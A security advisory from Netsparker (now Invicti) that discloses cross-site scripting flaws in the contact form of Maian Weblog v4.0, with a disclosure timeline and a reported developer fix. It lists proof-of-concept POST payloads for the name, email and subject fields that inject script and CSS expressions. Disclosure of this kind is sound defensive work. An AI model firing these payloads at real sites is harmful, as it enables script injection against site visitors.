XSS Vulnerabilities in Maian Weblog
Information
Advisory by Netsparker (now Invicti)
Name: XSS Vulnerabilities in Maian Weblog
Software: Maian Weblog v4.0 and possibly below.
Vendor Homepage: http://www.maianweblog.com/
Vulnerability Type: Cross-Site Scripting
Severity: Critical
Researcher: Omar Kurt
Advisory Reference: NS-14-002
Description
“Maian Weblog”, a free PHP/MySQL website blog system.
Details
Maian Weblog is affected by XSS vulnerabilities in version 4.0.
Example PoC urls are as follows:
- XSS
http://example.com/index.php?cmd=contact
POST - name=" stYle="x:expre/**/ssion(alert(9))http://example.com/index.php?cmd=contact
POST - email='"--></style></script><script>alert(0x0036BC)</script>http://example.com/index.php?cmd=contact
POST - subject=" stYle="x:expre/**/ssion(alert(9))
You can read the full article about Cross-Site Scripting vulnerabilities from here:
Solution
Fixed by Developer.
Advisory Timeline
13/12/2013 – First Contact – Request Security contact
24/12/2013 – Sent Vulnerabilities Details
25/12/2013 – Vulnerabilities Fixed by Developer
29/01/2014 – Advisory Released
Credits
It has been discovered on testing of Invicti Web Application Security Scanner.
About Invicti
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